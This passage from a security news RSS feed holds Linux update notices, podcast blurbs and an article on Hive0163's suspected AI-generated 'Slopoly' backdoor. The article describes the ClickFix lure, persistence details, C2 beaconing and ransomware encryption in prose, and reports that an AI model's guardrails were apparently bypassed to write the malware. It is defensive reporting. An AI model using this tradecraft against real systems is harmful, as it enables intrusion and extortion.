#Firebase #CloudShell #WebDev #NodeJS  #GoogleCloud #Gemini<br />
<br />
Watch more Firebase Release Notes Deep Dive → https://goo.gle/frn-deepdive<br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Alexander Nohe<br />
Products Mentioned: Firebase,  Firebase AI Logic<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 10.0, .NET 9.0, compat-openssl11, container-tools:rhel8, grub2, and libvpx), Debian (ansible, gst-plugins-base1.0, and nodejs), Fedora (chromium, forgejo, and systemd), Oracle (container-tools:rhel8, grub2, kernel, libpng, libvpx, nginx, opencr...]]></description>
<link>https://tsecurity.de/de/3359295/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3359295/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 18 Mar 2026 14:24:52 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 10.0, .NET 9.0, compat-openssl11, container-tools:rhel8, grub2, and libvpx), <b>Debian</b> (ansible, gst-plugins-base1.0, and nodejs), <b>Fedora</b> (chromium, forgejo, and systemd), <b>Oracle</b> (container-tools:rhel8, grub2, kernel, libpng, libvpx, nginx, opencryptoki, python3.12, and vim), <b>Red Hat</b> (firefox, python-wheel, python3.12-wheel, and thunderbird), <b>SUSE</b> (389-ds, chromium, clamav, container-suseconnect, curl, freerdp, gvfs, kea, kubernetes, ruby4.0-rubygem-minitar, ruby4.0-rubygem-multi_xml, ruby4.0-rubygem-nokogiri, ruby4.0-rubygem-puma, ruby4.0-rubygem-rack, ruby4.0-rubygem-rack-session, ruby4.0-rubygem-rails, ruby4.0-rubygem-rails-html-sanitizer, ruby4.0-rubygem-railties, ruby4.0-rubygem-rubyzip, vim, and xen), and <b>Ubuntu</b> (flask, libssh, linux-aws-5.15, linux-gcp-5.15, linux-gke, linux-hwe-5.15,
 linux-intel-iotg-5.15, linux-lowlatency-hwe-5.15, linux-oracle-5.15, linux-gcp-6.17, linux-realtime, linux-realtime, linux-realtime, linux-realtime-6.8, snapd, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[Windsurf IDE Extension Drops Malware via Solana Blockchain]]></title>
<description><![CDATA[Bitdefender researchers have discovered a malicious Windsurf IDE (integrated development environment) extension that deploys a multi-stage NodeJS stealer by using the Solana blockchain as the payload infrastructure.]]></description>
<link>https://tsecurity.de/de/3359289/it-security-nachrichten/windsurf-ide-extension-drops-malware-via-solana-blockchain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3359289/it-security-nachrichten/windsurf-ide-extension-drops-malware-via-solana-blockchain/</guid>
<pubDate>Wed, 18 Mar 2026 14:22:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bitdefender researchers have discovered a malicious Windsurf IDE (integrated development environment) extension that deploys a multi-stage NodeJS stealer by using the Solana blockchain as the payload infrastructure.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Marketing Strategy Behind Vanta’s “Calm-pliance” Campaign]]></title>
<description><![CDATA[Vanta CMO Scott Holden joins Gianna to talk about how the company is expanding beyond automated SOC 2 compliance and positioning Vanta as an Agentic Trust Platform. Scott shares his path from Salesforce to ThoughtSpot and Brex, why Vanta’s preventive security approach stood out, and how the team ...]]></description>
<link>https://tsecurity.de/de/3357974/it-security-nachrichten/the-marketing-strategy-behind-vantas-calm-pliance-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3357974/it-security-nachrichten/the-marketing-strategy-behind-vantas-calm-pliance-campaign/</guid>
<pubDate>Wed, 18 Mar 2026 06:05:38 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vanta CMO Scott Holden joins Gianna to talk about how the company is expanding beyond automated SOC 2 compliance and positioning Vanta as an Agentic Trust Platform. Scott shares his path from Salesforce to ThoughtSpot and Brex, why Vanta’s preventive security approach stood out, and how the team is evolving its messaging as it moves further into the enterprise. Tune in to hear how Vanta is thinking about category positioning, CISOs, and the strategy behind its new “Calm-pliance” campaign.]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6166-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure or bypass of file
restrictions.


https://security-tracker.debian.org/tracker/DSA-6166-1]]></description>
<link>https://tsecurity.de/de/3357704/unix-server/dsa-6166-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3357704/unix-server/dsa-6166-1-nodejs-security-update/</guid>
<pubDate>Wed, 18 Mar 2026 01:15:41 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure or bypass of file
restrictions.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6166-1">https://security-tracker.debian.org/tracker/DSA-6166-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3357618/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3357618/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Tue, 17 Mar 2026 23:51:01 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Node.js Secure Coding - Oliver Tavakoli, Chris Thomas, Liran Tal - ASW #286]]></title>
<description><![CDATA[Secure coding education should be more than a list of issues or repeating generic advice. Liran Tal explains his approach to teaching developers through examples that start with exploiting known vulns and end with discussions on possible fixes. Not only does this create a more engaging experience...]]></description>
<link>https://tsecurity.de/de/3356591/it-security-nachrichten/nodejs-secure-coding-oliver-tavakoli-chris-thomas-liran-tal-asw-286/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3356591/it-security-nachrichten/nodejs-secure-coding-oliver-tavakoli-chris-thomas-liran-tal-asw-286/</guid>
<pubDate>Tue, 17 Mar 2026 18:05:09 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Secure coding education should be more than a list of issues or repeating generic advice. Liran Tal explains his approach to teaching developers through examples that start with exploiting known vulns and end with discussions on possible fixes. Not only does this create a more engaging experience, but it also relies on code that looks familiar to developers rather than contrived or overly simplistic examples.</p> <p>Segment resources:</p> <ul> <li><a rel="noopener" target="_blank" href="https://github.com/lirantal">https://github.com/lirantal</a></li> <li><a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/NPM_Security_Cheat_Sheet.html"> https://cheatsheetseries.owasp.org/cheatsheets/NPM<em>Security</em>Cheat_Sheet.html</a></li> <li><a rel="noopener" target="_blank" href="https://lirantal.com/blog/poor-express-authentication-patterns-nodejs"> https://lirantal.com/blog/poor-express-authentication-patterns-nodejs</a></li> </ul> <p>The challenge of evaluating threat alerts in aggregate – what a collection and sequence of threat signals tell us about an attacker's sophistication and motives – has bedeviled SOC teams since the dawn of the Iron Age. Vectra AI CTO Oliver Tavakoli will discuss how the design principles of our XDR platform deal with this challenge and how GenAI impacts this perspective.</p> <p>Segment Resources:</p> <ol> <li> <p>Vectra AI Platform Video: <a rel="noopener" target="_blank" href="https://vimeo.com/916801622">https://vimeo.com/916801622</a></p> </li> <li> <p>Blog: <a rel="noopener" target="_blank" href="https://www.vectra.ai/blog/what-is-xdr-the-promise-of-xdr-capabilities-explained"> https://www.vectra.ai/blog/what-is-xdr-the-promise-of-xdr-capabilities-explained</a></p> </li> <li> <p>Blog: <a rel="noopener" target="_blank" href="https://www.vectra.ai/blog/xdr-explored-the-evolution-and-impact-of-extended-detection-and-response"> https://www.vectra.ai/blog/xdr-explored-the-evolution-and-impact-of-extended-detection-and-response</a></p> </li> <li> <p>MXDR Calculator: <a rel="noopener" target="_blank" href="https://www.vectra.ai/calculators/mxdr-value-calculator">https://www.vectra.ai/calculators/mxdr-value-calculator</a></p> </li> </ol> <p>This segment is sponsored by Vectra AI. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/vectrarsac">https://securityweekly.com/vectrarsac</a> to learn more about them!</p> <p>In this interview, we will discuss the network security challenges of business applications and how they can also be the solution. AlgoSec has spent over two decades tackling tough security issues in some of the world's most complex networks. Now, they're applying their expertise to hybrid networks—where customers are combining their on-premise resources along with multiple cloud providers.</p> <p>Segment Resources: <a rel="noopener" target="_blank" href="https://www.algosec.com/resources/">https://www.algosec.com/resources/</a></p> <p>This segment is sponsored by AlgoSec. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/algosecrsac">https://securityweekly.com/algosecrsac</a> to learn more about them!</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/asw">https://www.securityweekly.com/asw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/asw-286">https://securityweekly.com/asw-286</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI, APIs, and the Next Cyber Battleground: Black Hat 2025 - Chris Boehm, Idan Plotnik, Josh Lemos, Michael Callahan - ASW #346]]></title>
<description><![CDATA[In this must-see BlackHat 2025 interview, Doug White sits down with Michael Callahan, CMO at Salt Security, for a high-stakes conversation about Agentic AI, Model Context Protocol (MCP) servers, and the massive API security risks reshaping the cyber landscape. Broadcast live from the CyberRisk TV...]]></description>
<link>https://tsecurity.de/de/3356178/it-security-nachrichten/ai-apis-and-the-next-cyber-battleground-black-hat-2025-chris-boehm-idan-plotnik-josh-lemos-michael-callahan-asw-346/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3356178/it-security-nachrichten/ai-apis-and-the-next-cyber-battleground-black-hat-2025-chris-boehm-idan-plotnik-josh-lemos-michael-callahan-asw-346/</guid>
<pubDate>Tue, 17 Mar 2026 17:55:36 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this must-see BlackHat 2025 interview, Doug White sits down with Michael Callahan, CMO at Salt Security, for a high-stakes conversation about Agentic AI, Model Context Protocol (MCP) servers, and the massive API security risks reshaping the cyber landscape. Broadcast live from the CyberRisk TV studio at Mandalay Bay, Las Vegas, the discussion pulls back the curtain on how autonomous AI agents and centralized MCP hubs could supercharge productivity—while also opening the door to unprecedented supply chain vulnerabilities. From "shadow MCP servers" to the concept of an "API fabric," Michael explains why these threats are evolving faster than traditional security measures can keep up, and why CISOs need to act before it's too late. Viewers will get rare insight into the parallels between MCP exploitation and DNS poisoning, the hidden dangers of API sprawl, and why this new era of AI-driven communication could become a hacker's dream. Blog: <a rel="noopener" target="_blank" href="https://salt.security/blog/when-ai-agents-go-rogue-what-youre-missing-in-your-mcp-security"> https://salt.security/blog/when-ai-agents-go-rogue-what-youre-missing-in-your-mcp-security</a> Survey Report: <a rel="noopener" target="_blank" href="https://content.salt.security/AI-Agentic-Survey-2025_LP-AI-Agentic-Survey-2025.html"> https://content.salt.security/AI-Agentic-Survey-2025_LP-AI-Agentic-Survey-2025.html</a> This segment is sponsored by Salt Security. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/saltbh">https://securityweekly.com/saltbh</a> for a free API Attack Surface Assessment!</p> <p>At Black Hat 2025, live from the Cyber Risk TV studio in Las Vegas, Jackie McGuire sits down with Apiiro Co-Founder &amp; CEO Idan Plotnik to unpack the real-world impact of AI code assistants on application security, developer velocity, and cloud costs. With experience as a former Director of Engineering at Microsoft, Idan dives into what drove him to launch Apiiro — and why 75% of engineers will be using AI assistants by 2028. From 10x more vulnerabilities to skyrocketing API bloat and security blind spots, Idan breaks down research from Fortune 500 companies on how AI is accelerating both innovation and risk. What you'll learn in this interview: - Why AI coding tools are increasing code complexity and risk - The massive cost of unnecessary APIs in cloud environments - How to automate secure code without slowing down delivery - Why most CISOs fail to connect security to revenue (and how to fix it) - How Apiiro's Autofix AI Agent helps organizations auto-fix and auto-govern code risks at scale This isn't just another AI hype talk. It's a deep dive into the future of secure software delivery — with practical steps for CISOs, CTOs, and security leaders to become true business enablers. Watch till the end to hear how Apiiro is helping Fortune 500s bridge the gap between code, risk, and revenue. Apiiro AutoFix Agent. Built for Enterprise Security: <a rel="noopener" target="_blank" href="https://youtu.be/f-_zrnqzYsc">https://youtu.be/f-_zrnqzYsc</a> Deep Dive Demo: <a rel="noopener" target="_blank" href="https://youtu.be/WnFmMiXiUuM">https://youtu.be/WnFmMiXiUuM</a> This segment is sponsored by Apiiro. Be one of the first to see their new AppSec Agent in action at <a rel="noopener" target="_blank" href="https://securityweekly.com/apiirobh">https://securityweekly.com/apiirobh</a>.</p> <p>Is Your AI Usage a Ticking Time Bomb? In this exclusive Black Hat 2025 interview, Matt Alderman sits down with GitLab CISO Josh Lemos to unpack one of the most pressing questions in tech today: Are executives blindly racing into AI adoption without understanding the risks? Filmed live at the CyberRisk TV Studio in Las Vegas, this eye-opening conversation dives deep into: - How AI is being rapidly adopted across enterprises — with or without security buy-in - Why AI governance is no longer optional — and how to actually implement it - The truth about agentic AI, automation, and building trust in non-human identities - The role of frameworks like ISO 42001 in building AI transparency and assurance - Real-world examples of how teams are using LLMs in development, documentation &amp; compliance Whether you're a CISO, developer, or business exec — this discussion will reshape how you think about AI governance, security, and adoption strategy in your org. Don't wait until it's too late to understand the risks. The Economics of Software Innovation: $750B+ Opportunity at a Crossroads Report: <a rel="noopener" target="_blank" href="https://about.gitlab.com/software-innovation-report/">http://about.gitlab.com/software-innovation-report/</a> For more information about GitLab and their report, please visit: <a rel="noopener" target="_blank" href="https://securityweekly.com/gitlabbh">https://securityweekly.com/gitlabbh</a></p> <p>Live from Black Hat 2025 in Las Vegas, Jackie McGuire sits down with Chris Boehm, Field CTO at Zero Networks, for a high-impact conversation on microsegmentation, shadow IT, and why AI still struggles to stop lateral movement. With 15+ years of cybersecurity experience—from Microsoft to SentinelOne—Chris breaks down complex concepts like you're a precocious 8th grader (his words!) and shares real talk on why AI alone won't save your infrastructure. Learn how Zero Networks is finally making microsegmentation frictionless, how summarization is the current AI win, and what red flags to look for when evaluating AI-infused security tools. If you're a CISO, dev, or just trying to stay ahead of cloud threats—this one's for you. This segment is sponsored by Zero Networks. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/zerobh">https://securityweekly.com/zerobh</a> to learn more about them!</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/asw">https://www.securityweekly.com/asw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/asw-346">https://securityweekly.com/asw-346</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Okara revolutioniert Marketing mit KI-gestütztem CMO]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Okara hat eine innovative Plattform eingeführt, die als “AI CMO” bekannt ist und darauf abzielt, Marketingfunktionen durch künstliche Intelligenz zu automatisieren. Diese Entwicklung könnte insbesondere für Startups mit begrenztem Budget von großem Interesse sein, da sie ei...]]></description>
<link>https://tsecurity.de/de/3354242/it-security-nachrichten/okara-revolutioniert-marketing-mit-ki-gestuetztem-cmo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3354242/it-security-nachrichten/okara-revolutioniert-marketing-mit-ki-gestuetztem-cmo/</guid>
<pubDate>Tue, 17 Mar 2026 06:05:28 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/03/ai-marketing-cmo-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Okara hat eine innovative Plattform eingeführt, die als “AI CMO” bekannt ist und darauf abzielt, Marketingfunktionen durch künstliche Intelligenz zu automatisieren. Diese Entwicklung könnte insbesondere für Startups mit begrenztem Budget von großem Interesse sein, da sie eine kostengünstige Alternative zu traditionellen Marketingteams bietet. In der heutigen schnelllebigen Welt der Technologieentwicklung stehen […]</p>
<div><a href="https://www.it-boltwise.de/okara-revolutioniert-marketing-mit-ki-gestuetztem-cmo.html">... den vollständigen Artikel <strong>»Okara revolutioniert Marketing mit KI-gestütztem CMO«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/okara-revolutioniert-marketing-mit-ki-gestuetztem-cmo.html">Okara revolutioniert Marketing mit KI-gestütztem CMO</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE® x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hive0163 Ransomware Operators Use AI-Generated Slopoly Malware]]></title>
<description><![CDATA[Researchers have identified a suspected case of AI-generated malware being used during a ransomware attack. 

The malware, which analysts dubbed "Slopoly," was linked to a financially motivated cybercrime group tracked as Hive0163. The appearance of Slopoly in an active ransomware intrusion sug...]]></description>
<link>https://tsecurity.de/de/3346592/it-security-nachrichten/hive0163-ransomware-operators-use-ai-generated-slopoly-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3346592/it-security-nachrichten/hive0163-ransomware-operators-use-ai-generated-slopoly-malware/</guid>
<pubDate>Fri, 13 Mar 2026 12:52:05 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1273" src="https://thecyberexpress.com/wp-content/uploads/Slopoly.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Slopoly" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Slopoly.webp 1920w, https://thecyberexpress.com/wp-content/uploads/Slopoly-300x199.webp 300w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1024x679.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Slopoly-768x509.webp 768w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1536x1018.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Slopoly-600x398.webp 600w, https://thecyberexpress.com/wp-content/uploads/Slopoly-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Slopoly-750x497.webp 750w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1140x756.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Slopoly.webp 1920w, https://thecyberexpress.com/wp-content/uploads/Slopoly-300x199.webp 300w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1024x679.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Slopoly-768x509.webp 768w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1536x1018.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Slopoly-600x398.webp 600w, https://thecyberexpress.com/wp-content/uploads/Slopoly-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Slopoly-750x497.webp 750w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1140x756.webp 1140w" sizes="(max-width: 1920px) 100vw, 1920px" title="Hive0163 Ransomware Operators Use AI-Generated Slopoly Malware 10"></p><span data-contrast="auto">Researchers have identified a suspected case of AI-generated malware being used during a ransomware attack. </span>

<span data-contrast="auto">The malware, which analysts dubbed "Slopoly," was linked to a financially motivated cybercrime group tracked as Hive0163. The appearance of Slopoly in an active ransomware intrusion suggests that cybercriminal groups are beginning to experiment with AI-generated malware as part of their operational toolkit.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hive0163 and the Experimentation with AI-generated Malware</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Hive0163 is a cluster of financially motivated threat actors known for conducting ransomware campaigns that focus on large-scale <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="26948">data</a> theft and extortion. The group has been associated with several global <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26951">ransomware</a> incidents involving Interlock ransomware, as well as a range of custom backdoors and loaders such as NodeSnake, InterlockRAT, and the JunkFiction loader.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">During a ransomware investigation in early 2026, <a href="https://www.ibm.com/think/x-force/slopoly-start-ai-enhanced-ransomware-attacks" target="_blank" rel="nofollow noopener">IBM X-Force analysts</a> discovered that Hive0163 deployed Slopoly, a suspected AI-generated malware framework designed to maintain persistent access to a compromised server. According to the investigation, the attackers retained access to the infected machine for more than a week using the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26949">malware</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Notably, Slopoly was deployed during the later stages of the attack, suggesting the operators may have been testing the AI-generated framework in a real-world scenario. Researchers described the situation as resembling a “live-fire exercise,” where the threat actors experimented with the new tool during an active operation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The naming conventions of variables within the script indicated that the system generating the code was explicitly instructed to produce malicious functionality. This suggests that any safety guardrails implemented in the underlying <a href="https://thecyberexpress.com/pytorch-vulnerability-cve-2025-32434/" target="_blank" rel="noopener">AI model</a> were successfully bypassed. However, researchers were unable to determine which specific model generated Slopoly, although the overall quality suggested it was likely produced by a relatively less advanced system.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Slopoly is a Suspected LLM-generated C2 Tool</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The Slopoly <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26952">malware</a> was discovered as a PowerShell script on an infected server. Analysis revealed that the script functioned as the client component of a command-and-control (C2) framework used by Hive0163.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Investigators believe the <a href="https://thecyberexpress.com/clipxdaemon-linux-malware/" target="_blank" rel="noopener">malware</a> was generated through a builder tool that automatically inserted configuration data such as a session ID, mutex name, C2 server address, and beacon intervals. The builder reportedly deployed Slopoly into the directory </span><span data-contrast="auto">C:\ProgramData\Microsoft\Windows\Runtime\</span><span data-contrast="auto"> and established persistence by creating a scheduled task named “Runtime Broker.”</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Several characteristics strongly suggested that Slopoly was produced using a large language model. The script contained extensive comments, structured logging functions, clear error handling routines, and well-named variables, features commonly seen in AI-generated malware and AI-assisted programming.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Another clue pointing to AI-assisted development was the presence of an unused “Jitter” function within the code. Researchers believe this may have been left over from iterative development with an LLM.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Interestingly, the script’s internal comments describe it as a “Polymorphic C2 Persistence Client.” In practice, however, the malware does not exhibit true polymorphic behavior. It cannot modify its own code during execution. Instead, the builder likely generates new variants of the malware with randomized configuration values and function names, a common technique used by malware builders.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">How Slopoly Operates on Infected Systems</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Despite its limited technicalities, Slopoly operates as a functional backdoor. After execution, it collects basic system information from the infected machine and sends it to a remote command-and-control server.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The data is transmitted in JSON format using an HTTP POST request to the </span><span data-contrast="auto">/api/commands</span><span data-contrast="auto"> endpoint. A typical beacon includes information such as the public IP address of the infected system, the user account name, the computer name, and whether the process is running with elevated privileges.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The malware sends a heartbeat message every 30 seconds and checks for new commands roughly every 50 seconds. Any instructions received from the C2 server are executed using </span><span data-contrast="auto">cmd.exe</span><span data-contrast="auto">, and the results are returned to the server.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The malware also maintains a detailed log file named persistence.log, which records activity and rotates once it reaches a size of 1 MB.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Initial Infection Through ClickFix</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The attack investigated by the researchers began with a <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="26950">social engineering</a> technique known as ClickFix. This method tricks victims into executing malicious <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">PowerShell commands</a> themselves.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Victims are typically shown a CAPTCHA-style verification page that secretly copies a malicious script into the clipboard. The page then instructs users to press a sequence of keyboard commands—“Win+R” to open the Windows Run dialog, followed by “Ctrl+V” to paste the script and “Enter” to execute it.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Once executed, the PowerShell payload installs NodeSnake, a NodeJS-based malware that serves as the first stage of a larger command-and-control framework used by Hive0163.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">NodeSnake supports multiple commands, including downloading and executing payloads, running shell commands, establishing persistence, updating itself, or terminating its own process.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">In the observed attack, NodeSnake eventually deployed a more advanced JavaScript-based backdoor known as InterlockRAT, which supports WebSocket communications, reverse shell access, and SOCKS5 tunneling capabilities.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Ransomware Deployment and Encryption</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The final stage of the intrusion involved the deployment of <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">Interlock ransomware</a>, packaged using the JunkFiction loader. Once executed, the ransomware scans logical drives and encrypts targeted files across the system.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Interlock uses a combination of AES-GCM encryption and RSA cryptography through the OpenSSL library (version 3.5.0). Each encrypted file receives a unique session key, which is then protected using an attacker-controlled RSA public key.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

